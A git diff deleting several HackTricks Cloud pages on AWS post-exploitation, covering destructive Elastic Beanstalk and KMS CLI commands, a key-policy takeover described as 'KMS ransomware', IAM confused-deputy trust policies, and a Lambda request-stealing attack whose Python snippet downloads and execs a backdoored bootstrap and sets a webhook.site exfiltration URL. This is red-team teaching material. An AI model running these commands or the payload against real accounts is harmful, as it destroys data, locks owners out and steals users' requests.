-[aws-elastic-beanstalk-enum.md](../aws-services/aws-elastic-beanstalk-enum.md)
-{% endcontent-ref %}
-
-### `elasticbeanstalk:DeleteApplicationVersion`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
-```
-{% endcode %}
-
-**Potential Impact**: Disruption of application deployment and potential loss of application versions.
-
-### `elasticbeanstalk:TerminateEnvironment`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk terminate-environment --environment-name my-existing-env
-```
-{% endcode %}
-
-**Potential Impact**: Downtime of the application, potential data loss, and disruption of services.
-
-### `elasticbeanstalk:DeleteApplication`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
-```
-{% endcode %}
-
-**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss.
-
-### `elasticbeanstalk:SwapEnvironmentCNAMEs`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
-```
-{% endcode %}
-
-**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments.
-
-### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
-
-{% hint style="info" %}
-TODO: Test if more permissions are required for this
-{% endhint %}
-
-An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management.
-
-{% code overflow="wrap" %}
-```bash
-aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
-
-aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
-```
-{% endcode %}
-
-**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
deleted file mode 100644
index 7a73ed2bd..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ /dev/null
@@ -1,130 +0,0 @@
-# AWS - IAM Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## IAM
-
-For more information about IAM access:
-
-{% content-ref url="../aws-services/aws-iam-enum.md" %}
-[aws-iam-enum.md](../aws-services/aws-iam-enum.md)
-{% endcontent-ref %}
-
-## Confused Deputy Problem
-
-If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
-
-Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
-
-<figure><img src="../../../.gitbook/assets/image (95).png" alt=""><figcaption></figcaption></figure>
-
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
-
-Example:
-
-```json
-{
-  "Version": "2012-10-17",
-  "Statement": {
-    "Effect": "Allow",
-    "Principal": {
-      "AWS": "Example Corp's AWS Account ID"
-    },
-    "Action": "sts:AssumeRole",
-    "Condition": {
-      "StringEquals": {
-        "sts:ExternalId": "12345"
-      }
-    }
-  }
-}
-```
-
-{% hint style="warning" %}
-For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts.
-{% endhint %}
-
-### Unexpected Trusts
-
-#### Wildcard as principal
-
-```json
-{    
-    "Action": "sts:AssumeRole",
-    "Effect": "Allow",
-    "Principal": { "AWS": "*" },
-}
-```
-
-This policy **allows all AWS** to assume the role.
-
-#### Service as principal
-
-```json
-{    
-    "Action": "lambda:InvokeFunction",
-    "Effect": "Allow",
-    "Principal": { "Service": "apigateway.amazonaws.com" },
-    "Resource": "arn:aws:lambda:000000000000:function:foo"
-}
-```
-
-This policy **allows any account** to configure their apigateway to call this Lambda.
-
-#### S3 as principal
-
-```json
-"Condition": {
-"ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, 
-    "StringEquals": {
-        "aws:SourceAccount": "123456789012"
-    }
-}
-```
-
-If an S3 bucket is given as a principal, because S3 buckets do not have an Account ID, if you **deleted your bucket and the attacker created** it in their own account, then they could abuse this.
-
-#### Not supported
-
-```json
-{
-    "Effect": "Allow",
-    "Principal": {"Service": "cloudtrail.amazonaws.com"},
-    "Action": "s3:PutObject",
-    "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*"
-}
-```
-
-A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources).
-
-## References
-
-* [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
deleted file mode 100644
index 18859e4f3..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
+++ /dev/null
@@ -1,163 +0,0 @@
-# AWS - KMS Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## KMS
-
-For more information check:
-
-{% content-ref url="../aws-services/aws-kms-enum.md" %}
-[aws-kms-enum.md](../aws-services/aws-kms-enum.md)
-{% endcontent-ref %}
-
-### Encrypt/Decrypt information
-
-`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files:
-
-* `fileb://:` Reads the file in binary mode, commonly used for non-text files.
-* `file://:` Reads the file in text mode, typically used for plain text files, scripts, or JSON that doesn't have special encoding requirements.
-
-{% hint style="success" %}
-Note that if you want to decrypt some data inside a file, the file must contain the binary data, not base64 encoded data. (fileb://)
-{% endhint %}
-
-* Using a **symmetric** key
-
-```bash
-# Encrypt data
-aws kms encrypt \
-    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
-    --plaintext fileb:///tmp/hello.txt \
-    --output text \
-    --query CiphertextBlob | base64 \
-    --decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
-    --ciphertext-blob fileb://ExampleEncryptedFile \
-    --key-id f0d3d719-b054-49ec-b515-4095b4777049 \
-    --output text \
-    --query Plaintext | base64 \
-    --decode
-```
-
-* Using a **asymmetric** key:
-
-```bash
-# Encrypt data
-aws kms encrypt \
-    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
-    --encryption-algorithm RSAES_OAEP_SHA_256 \
-    --plaintext fileb:///tmp/hello.txt \
-    --output text \
-    --query CiphertextBlob | base64 \
-    --decode > ExampleEncryptedFile
-
-# Decrypt data
-aws kms decrypt \
-    --ciphertext-blob fileb://ExampleEncryptedFile \
-    --encryption-algorithm RSAES_OAEP_SHA_256 \
-    --key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
-    --output text \
-    --query Plaintext | base64 \
-    --decode
-```
-
-### KMS Ransomware
-
-An attacker with privileged access over KMS could modify the KMS policy of keys and **grant his account access over them**, removing the access granted to the legit account.
-
-Then, the legit account users won't be able to access any informatcion of any service that has been encrypted with those keys, creating an easy but effective ransomware over the account.
-
-{% hint style="warning" %}
-Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**.
-
-Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI).
-{% endhint %}
-
-```bash
-# Force policy change
-aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
-    --policy-name default \
-    --policy file:///tmp/policy.yaml \
-    --bypass-policy-lockout-safety-check
-
-{
-    "Id": "key-consolepolicy-3",
-    "Version": "2012-10-17",
-    "Statement": [
-        {
-            "Sid": "Enable IAM User Permissions",
-            "Effect": "Allow",
-            "Principal": {
-                "AWS": "arn:aws:iam::<your_own_account>:root"
-            },
-            "Action": "kms:*",
-            "Resource": "*"
-        }
-    ]
-}
-```
-
-{% hint style="danger" %}
-Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **give the access back to original account, you won't be able**.
-{% endhint %}
-
-<figure><img src="../../../.gitbook/assets/image (77).png" alt=""><figcaption></figcaption></figure>
-
-### Generic KMS Ransomware
-
-#### Global KMS Ransomware
-
-There is another way to perform a global KMS Ransomware, which would involve the following steps:
-
-* Create a new **key with a key material** imported by the attacker
-* **Re-encrypt older data** encrypted with the previous version with the new one.
-* **Delete the KMS key**
-* Now only the attacker, who has the original key material could be able to decrypt the encrypted data
-
-### Destroy keys
-
-```bash
-# Destoy they key material previously imported making the key useless
-aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab
-
-# Schedule the destoy of a key (min wait time is 7 days)
-aws kms schedule-key-deletion \
-    --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
-    --pending-window-in-days 7
-```
-
-{% hint style="danger" %}
-Note that AWS now **prevents the previous actions from being performed from a cross account:**
-{% endhint %}
-
-<figure><img src="../../../.gitbook/assets/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
deleted file mode 100644
index f7bea8e86..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# AWS - Lambda Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Lambda
-
-For more information check:
-
-{% content-ref url="../../aws-services/aws-lambda-enum.md" %}
-[aws-lambda-enum.md](../../aws-services/aws-lambda-enum.md)
-{% endcontent-ref %}
-
-### Steal Others Lambda URL Requests
-
-If an attacker somehow manage to get RCE inside a Lambda he will be able to steal other users HTTP requests to the lambda. If the requests contain sensitive information (cookies, credentials...) he will be able to steal them.
-
-{% content-ref url="aws-warm-lambda-persistence.md" %}
-[aws-warm-lambda-persistence.md](aws-warm-lambda-persistence.md)
-{% endcontent-ref %}
-
-### Steal Others Lambda URL Requests & Extensions Requests
-
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
-
-{% content-ref url="../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md" %}
-[aws-abusing-lambda-extensions.md](../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
deleted file mode 100644
index 94ea21684..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
+++ /dev/null
@@ -1,89 +0,0 @@
-# AWS - Steal Lambda Requests
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Lambda Flow
-
-<figure><img src="../../../../.gitbook/assets/image (341).png" alt=""><figcaption><p><a href="https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png">https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png</a></p></figcaption></figure>
-
-1. **Slicer** is a process outside the container that **send** **invocations** to the **init** process.
-2. The init process listens on port **9001** exposing some interesting endpoints:
-   * **`/2018-06-01/runtime/invocation/next`** – get the next invocation event
-   * **`/2018-06-01/runtime/invocation/{invoke-id}/response`** – return the handler response for the invoke
-   * **`/2018-06-01/runtime/invocation/{invoke-id}/error`** – return an execution error
-3. **bootstrap.py** has a loop getting invocations from the init process and calls the users code to handle them (**`/next`**).
-4. Finally, **bootstrap.py** sends to init the **response**
-
-Note that bootstrap loads the user code as a module, so any code execution performed by the users code is actually happening in this process.
-
-## Stealing Lambda Requests
-
-The goal of this attack is to make the users code execute a malicious **`bootstrap.py`** process inside the **`bootstrap.py`** process that handle the vulnerable request. This way, the **malicious bootstrap** process will start **talking with the init process** to handle the requests while the **legit** bootstrap is **trapped** running the malicious one, so it won't ask for requests to the init process.
-
-This is a simple task to achieve as the code of the user is being executed by the legit **`bootstrap.py`** process. So the attacker could:
-
-* **Send a fake result of the current invocation to the init process**, so init thinks the bootstrap process is waiting for more invocations.
-  * A request must be sent to **`/${invoke-id}/response`**
-  * The invoke-id can be obtained from the stack of the legit **`bootstrap.py`** process using the [**inspect**](https://docs.python.org/3/library/inspect.html) python module (as [proposed here](https://github.com/twistlock/lambda-persistency-poc/blob/master/poc/switch_runtime.py)) or just requesting it again to **`/2018-06-01/runtime/invocation/next`** (as [proposed here](https://github.com/Djkusik/serverless_persistency_poc/blob/master/gcp/exploit_files/switcher.py)).
-* Execute a malicious **`boostrap.py`** which will handle the next invocations
-  * For stealthiness purposes it's possible to send the lambda invocations parameters to an attackers controlled C2 and then handle the requests as usual.
-  * For this attack, it's enough to get the original code of **`bootstrap.py`** from the system or [**github**](https://github.com/aws/aws-lambda-python-runtime-interface-client/blob/main/awslambdaric/bootstrap.py), add the malicious code and run it from the current lambda invocation.
-
-### Attack Steps
-
-1. Find a **RCE** vulnerability.
-2. Generate a **malicious** **bootstrap** (e.g. [https://raw.githubusercontent.com/carlospolop/lambda\_bootstrap\_switcher/main/backdoored\_bootstrap.py](https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py))
-3. **Execute** the malicious bootstrap.
-
-You can easily perform these actions running:
-
-```bash
-python3 <<EOF
-import os
-import urllib3
-
-# Download backdoored bootstrap
-http = urllib3.PoolManager()
-backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
-new_runtime = http.request('GET', backdoored_bootstrap_url).data
-
-# Load new bootstrap
-os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
-
-exec(new_runtime)
-EOF
-```
-
-For more info check [https://github.com/carlospolop/lambda\_bootstrap\_switcher](https://github.com/carlospolop/lambda_bootstrap_switcher)
-
-## References
-
-* [https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/](https://unit42.paloaltonetworks.com/gaining-persistency-vulnerable-lambdas/)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
deleted file mode 100644
index db17d6d72..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ /dev/null
@@ -1,56 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-## Lightsail
-
-For more information, check:
-
-{% content-ref url="../aws-services/aws-lightsail-enum.md" %}
-[aws-lightsail-enum.md](../aws-services/aws-lightsail-enum.md)
-{% endcontent-ref %}
-
-### Restore old DB snapshots
-
-If the DB is having snapshots, you might be able to **find sensitive information currently deleted in old snapshots**. **Restore** the snapshot in a **new database** and check it.
-
-### Restore Instance Snapshots
-
-Instance snapshots might contain **sensitive information** of already deleted instances or sensitive info that is deleted in the current instance. **Create new instances from the snapshots** and check them.\
-Or **export the snapshot to an AMI in EC2** and follow the steps of a typical EC2 instance.
-
-### Access Sensitive Information
-
-Check out the Lightsail privesc options to learn different ways to access potential sensitive information:
-
-{% content-ref url="../aws-privilege-escalation/aws-lightsail-privesc.md" %}
-[aws-lightsail-privesc.md](../aws-privilege-escalation/aws-lightsail-privesc.md)
-{% endcontent-ref %}
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
deleted file mode 100644
index 9bd9c70bb..000000000
--- a/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# AWS - Organizations Post Exploitation
-
-{% hint style="success" %}
